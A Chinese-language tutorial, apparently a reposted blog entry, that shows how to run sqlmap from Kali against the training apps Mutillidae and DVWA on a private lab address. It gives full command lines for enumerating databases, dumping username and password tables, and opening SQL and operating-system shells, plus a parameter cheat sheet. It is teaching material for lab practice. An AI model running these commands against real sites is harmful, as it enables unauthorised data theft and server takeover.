SQLmap自动注入

SQL注入流程:

  1. 判断是否有SQL注入漏洞;
  2. 判断操作系统、数据库和web应用的类型;
  3. 获取数据库信息,包括管理员信息及拖库;
  4. 加密信息破解,sqlmap可自动破解;
  5. 提升权限,获得sql-shell、os-shell、登录应用后台;

SQL注入比较好用的工具,首推开源工具SQLmap。SQLmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

image.png

一、GET 方法进入

image.png

image.png

image.png

image.png
  • kali终端
    注意:链接为上面复制的链接 -u指定链接
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details"
  • -p指定注入点,此链接 username 和 password 都可以
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username
image.png

image.png

这里存放的是sqlmap显示的内容


image.png
  • --dbs 获取所有数据库
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --dbs
image.png
  • --users 获取所有用户
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --users
image.png
  • --current-user 获取当前使用用户
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --current-user
image.png

sqlmap 参数解析

--users
--current-user
--dbs
--current-db
-D "database_name" --tables
-D "database_name" -T "table_name" --columns
--dump-all
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" --dump
-D "database_name" -T "table_name" -C "username, password" --dump
--batch //自动化完成

示例步骤:
1. 获得当前数据库
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch --current-db

2. 获得数据库表
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp --tables

3. 获得表的字段
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp -T accounts --columns

4. 获得表中的数据
root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch -D nowasp -T accounts -C "username, password" --dump

二、POST方法注入

需要带cookie才能访问的注入页面,--cookie=" "

image.png

image.png

  • F12进入开发者模式,复制 cookie值


    image.png
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch
image.png

成功


image.png
  • 获取所有库
root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --dbs

权限问题只能看见两个库


image.png
  • 后面添加参数和GET一样

三、数据获取

--users
--current-user
--dbs
--current-db
-D "database_name" --tables
-D "database_name" -T "table_name" --columns
--dump-all
--dump-all --exclude-sysdbs
-D "database_name" -T "table_name" -C "username, password" --dump

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --users

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --current-db

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" --tables

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" --columns

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" -C "username,password" --dump

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch -D "dvwa" -T "users" --dump

四、提权操作

1. 与数据库交互 --sql-shell

root@kali:~# sqlmap -u "http://192.168.1.17/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada; PHPSESSID=4ej09rchj6j55310oj4o6ujdh5" --batch --sql-shell
image.png
sql-shell> select * from users;
image.png

2. 与操作系统交互 --os-shell

需要对网站目录有写权限,否则无法创建os-shell
使用GET方法

root@kali:~# sqlmap -u "http://192.168.1.17/mutillidae/index.php?page=user-info.php&username=admin&password=test&user-info-php-submit-button=View+Account+Details" -p username --batch --os-shell
image.png
image.png
image.png

你可能感兴趣的:(SQLmap自动注入)